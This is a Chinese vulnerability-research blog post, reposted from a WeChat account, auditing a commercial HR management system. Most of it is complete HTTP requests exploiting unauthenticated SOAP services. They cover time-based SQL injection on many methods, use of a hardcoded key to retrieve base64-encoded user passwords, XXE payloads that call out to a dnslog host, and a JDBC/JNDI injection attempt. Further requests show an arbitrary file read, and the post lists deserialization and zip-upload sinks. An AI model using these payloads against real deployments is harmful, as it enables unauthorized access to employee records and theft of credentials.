原文链接:https://xz.aliyun.com/news/18132
路由分析/权限认证
web.xml文件,定义了大部分路由,
其中存在一个filter,这里的版本比较低,此filter的内容大概是一些访问白名单,
这里会加载seivices.xml的配置,
services.xml,XFire是一个Java SOAP框架,
service定义了多个service端点,我们就可以访问serviceClass中的公共方法,如:
post:https://xxx/services/HrChangeInfoService<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hr="http://www.hjsj.com/HrChangeInfoService"> <soapenv:Header/> <soapenv:Body> <hr:getChangeUsers> <arg0>value1</arg0> <arg1>value2'</arg1> <arg2>value3'</arg2> </hr:getChangeUsers> </soapenv:Body></soapenv:Envelope>
struts-config.xml,将HTML表单数据与Java对象绑定,
type="com.hrms.struts.action.FrameAction"为处理类,其中包含认证逻辑和路由,
如:https://xxx/performance/solarterms/specialtask.do
filter中给services接口设置了白名单,可以直接访问,
因此services.xml中的接口都是未授权,
post:https://xxx/services/HrChangeInfoService<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hr="http://www.hjsj.com/HrChangeInfoService"> <soapenv:Header/> <soapenv:Body> <hr:getChangeUsers> <arg0>value1</arg0> <arg1>value2'</arg1> <arg2>value3'</arg2> </hr:getChangeUsers> </soapenv:Body></soapenv:Envelope>
前台sql注入services接口(XFire)

POST /services/HrChangeInfoService HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/xmlCookie: xxxContent-Length: 392<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hr="http://www.hjsj.com/HrChangeInfoService"> <soapenv:Header/> <soapenv:Body> <hr:getChangeUsers> <arg0></arg0> <arg1>admin';waitfor delay '0:0:10'--</arg1> <arg2>1</arg2> </hr:getChangeUsers> </soapenv:Body></soapenv:Envelope>
入口函数getChangeUsers,
走到sql语句拼接后,经过一系列调用,
之前的sql语句被prepareStatement执行,预编译的sql语句可控,最终造成了sql注入,
HrpService接口sql注入,
POST /services/HrpService HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/xmlCookie: xxxContent-Length: 353<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hr="http://www.hjsj.com/HrpService"> <soapenv:Header/> <soapenv:Body> <hr:processResult> <arg0>1);waitfor delay '0:0:5'--</arg0> <arg1></arg1> </hr:processResult> </soapenv:Body></soapenv:Envelope>
此接口的其他方法也存在sql注入,
POST /services/HrpService HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/xmlCookie: xxxContent-Length: 500<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hr="http://www.hjsj.com/HrpService"> <soapenv:Header/> <soapenv:Body> <hr:getHrInfoByID> <arg0>1</arg0> <arg1>1';waitfor delay '0:0:10'--</arg1> <arg2>1</arg2> <arg3>1</arg3> <arg4>1</arg4> <arg5>1</arg5> <arg6>1</arg6> </hr:getHrInfoByID> </soapenv:Body></soapenv:Envelope>
HrService接口sql注入,
POST /services/HrService HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/xmlCookie: xxxContent-Length: 356<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hr="http://www.hjsj.com/HrService"> <soapenv:Header/> <soapenv:Body> <hr:removeOrganization> <arg0>aaaaaaaaaaaaaaaaaa';waitfor delay '0:0:10'--</arg0> </hr:removeOrganization> </soapenv:Body></soapenv:Envelope>
services的很多地方存在sql注入,
removeUser、changeUserOrg、validateUserId、getAllOrganizations、getUsersByDeptId、getUsersByOrgId、batchAppend、batchUpdate、batchDelete、
updateEnabled、getCodeIdByCodeDesc、getObjectByParam、isExist、isExecuteSql、initExecuteSql、isProtecting、updateInfoByMap、
batchAppend、batchUpdate、batchDelete、
getKqItem,updateEnabled,isExistOrg、getCodeIdByCodeDesc、isExist,isExecuteSql,................
前台查询所有用户密码-HrpService接口(XFire)
base64解密得到密码,
POST /services/HrpService HTTP/1.1Host: xxxCookie: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/xmlUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Priority: u=0, iTe: trailersConnection: closeContent-Length: 392<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hr="http://www.hjsj.com/HrpService"> <soapenv:Header/> <soapenv:Body> <hr:getEToken> <arg0>aaa</arg0> <arg1>c42YFCcwuJdC3uZF9CNUF/kDRn33hWpx</arg1> <arg2>bjzz</arg2> </hr:getEToken> </soapenv:Body></soapenv:Envelope>
入口getEToken函数,需要满足checkKey条件,因此传入到第二个参数必须为c42YFCcwuJdC3uZF9CNUF/kDRn33hWpx,
UserView var7 = var4.getSetView(var1, "", "false", var6); 会通过我们传入的用户名查询用户所有信息,
最终566行返回用户名和密码的base64密文,
还有任意用户添加接口、查询所有用户接口,
HrService-》createUser getAllUsers
前台xxe-HrpService接口(XFire)

此接口的其他方法也存在xxe,如getHolidayMsg、impInfoByNotice、getRemainHolidays、syncHolidayMsg、updateHolidays方法,xxe-SynToADService-sendSyncMsg等,doPost(com.hjsj.hrms.servlet.template.OutputTemplateDataServlet)
POST /services/HrpService HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/xmlCookie: xxxContent-Length: 432<?xml version="1.0" encoding="utf-8"?><!DOCTYPE syscode SYSTEM "http://8b5gf4.dnslog.cn"><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hr="http://www.hjsj.com/HrpService"> <soapenv:Header/> <soapenv:Body> <hr:impInfoByNotice> <arg0><M><syscode>&send;</syscode></M></arg0> </hr:impInfoByNotice> </soapenv:Body></soapenv:Envelope>
POST /services/HrpService HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeContent-Type: application/xmlCookie: xxxContent-Length: 434<?xml version="1.0" encoding="utf-8"?><!DOCTYPE syscode SYSTEM "http://8b5gf4.dnslog.cn"><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hr="http://www.hjsj.com/HrpService"> <soapenv:Header/> <soapenv:Body> <hr:Huayu_peWageRecv> <arg0><M><syscode>&send;</syscode></M></arg0> </hr:Huayu_peWageRecv> </soapenv:Body></soapenv:Envelope>
jdbc注入(不存在db2组件,无法getshell)
SynEmpOrgToERPService-》sendSyncMsg
SynToADService-》sendSyncMsg
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hr="http://www.hjsj.com/HrChangeInfoService"> <soapenv:Header/> <soapenv:Body> <hr:sendSyncMsg> <arg0><hr><jdbc> <datatype> db2 </datatype> <username>1 </username> <pass>2 </pass> <ip_addr> 127.0.0.1 </ip_addr> <port> 5420 </port> <database> BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:8811 </database></jdbc></hr> </arg0> </hr:sendSyncMsg> </soapenv:Body></soapenv:Envelope> DriverManager.getConnection("jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1099/evil;");# jdbc:db2://ip_addr:port/database
可以看到getConnection的参数可控,但是此项目没有db2组件,因此getshell失败,
后台任意文件读取-/components/fileupload/upload
com.hjsj.hrms.utils.components.fileupload.servlet.FileUploadServlet
c:/windows/win.ini
POST /components/fileupload/upload HTTP/2Host: xxxCookie: xxxContent-Length: 137Sec-Ch-Ua-Platform: "macOS"Accept-Language: zh-CN,zh;q=0.9Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"Sec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36Accept: application/json, text/plain, */*Content-Type: application/x-www-form-urlencodedOrigin: xxxSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: xxxAccept-Encoding: gzip, deflate, brPriority: u=4, ideleteflag=false&down=true&localname=aaa&path=Iy4ZOyMhERcKEEOGPKbbJgPAATTP3HJDPAATTPPAATTP3HJDPAATTP&filename=P2FN5PpfSGUPAATTP3HJDPAATTP
/etc/hosts
POST /components/fileupload/upload HTTP/1.1Host: xxxCookie: bosflag=hcm; JSESSIONID=65C5113D881DDF8CE43BC6DC7F2F995ASec-Ch-Ua-Platform: "macOS"Accept-Language: zh-CN,zh;q=0.9Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36Sec-Ch-Ua-Mobile: ?0Accept: */*Sec-Fetch-Site: same-originContent-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://xxxAccept-Encoding: gzip, deflate, brPriority: u=1Connection: keep-aliveContent-Length: 114deleteflag=false&down=true&localname=sadfasf&path=P7oRbyobcGIPAATTP3HJDPAATTP&filename=rPYRZUSNAfMPAATTP3HJDPAATTP
可以看到这里将参数解密后拼接到File中,读取路径可控,
加密文件读取路径和文件名,读取服务器的c:/windwos/win.ini,文件读取成功,
后台漏洞(可能存在,未复现)
反序列化,低版本存在,高版本function_id提示找不到,
execute(com.hjsj.hrms.transaction.gz.gz_accounting.report.GetGzReportDataTrans) |
unzipBytes_object(com.hjsj.hrms.utils.PubFunc) |
java.io.ObjectInputStream#readObject |
execute(com.hjsj.hrms.transaction.gz.gz_analyse.GzAnalyseExportDataTrans) |
unzipBytes_object(com.hjsj.hrms.utils.PubFunc) |
java.io.ObjectInputStream#readObject |
execute(com.hjsj.hrms.transaction.gz.gz_analyse.EditTableInfoTrans) |
unzipBytes_object(com.hjsj.hrms.utils.PubFunc) |
java.io.ObjectInputStream#readObject |
execute(com.hjsj.hrms.transaction.gz.gz_accounting.report.GzReportDataExportTrans) |
unzipBytes_object(com.hjsj.hrms.utils.PubFunc) |
java.io.ObjectInputStream#readObject |
execute(com.hjsj.hrms.transaction.hire.demandPlan.positionDemand.ExportDemandZipTrans)
(服务器查看是否上传成功)zip解压文件上传,
execute(com.hjsj.hrms.module.recruitment.parameter.transaction.ReductionFileTrans)
execute(com.hjsj.hrms.transaction.hire.parameterSet.configureParameter.ReductionFileTrans)
execute(com.hjsj.hrms.transaction.hire.employActualize.employResume.ResumeZipTrans)
POST /recruitment/parameter/configureParameter.do HTTP/2 Host: xxx Content-Length: 577 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "macOS" Cookie: xxx Accept-Language: zh-CN,zh;q=0.9 Origin: null Content-Type: multipart/form-data; Boundary=----Webkitformboundaryjoiis1y7hegw8myy: Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Priority: u=0, i ------WebKitFormBoundaryjOIIS1Y7heGW8MyY Content-Disposition: form-data; name="b_reduction" b_reduction ------WebKitFormBoundaryjOIIS1Y7heGW8MyY Content-Disposition: form-data; name="path" D~3a~2f ------WebKitFormBoundaryjOIIS1Y7heGW8MyY Content-Disposition: form-data; name="r_file"; filename="ceshi.zip" Content-Type: application/zip qqqqqqqqqqqqqqqqPK
原文始发于微信公众号(蓝云Sec):某景人事管理系统漏洞挖掘与分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论